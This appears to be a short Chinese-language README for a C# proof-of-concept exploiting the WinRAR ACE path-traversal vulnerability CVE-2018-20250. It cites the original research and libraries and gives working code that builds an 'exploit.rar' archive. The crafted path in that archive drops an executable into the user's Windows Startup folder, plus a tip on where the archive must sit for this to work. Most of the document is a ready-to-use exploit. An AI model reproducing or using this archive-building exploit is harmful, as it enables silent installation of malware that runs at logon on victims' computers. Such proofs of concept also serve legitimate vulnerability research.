利用WinRAR ACE文件解压路径漏洞(CVE-2018-20250)的C#概念验证代码。
https://research.checkpoint.com/extracting-code-execution-from-winrar/ https://github.com/droe/acefile https://apidoc.roe.ch/acefile/latest/
用于校验和方法的InvertedTomato.Crc(可通过NuGet安装)。你也可以使用任何其他JAMCRC实现。
AceVolume av = new AceVolume();
AceFile f = new AceFile(
@"D:\some_file.exe",
@"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe"
);
av.AddFile(f);
av.Save("exploit.rar");
似乎只有当.rar文件位于桌面或同级文件夹时,才会解压到启动文件夹。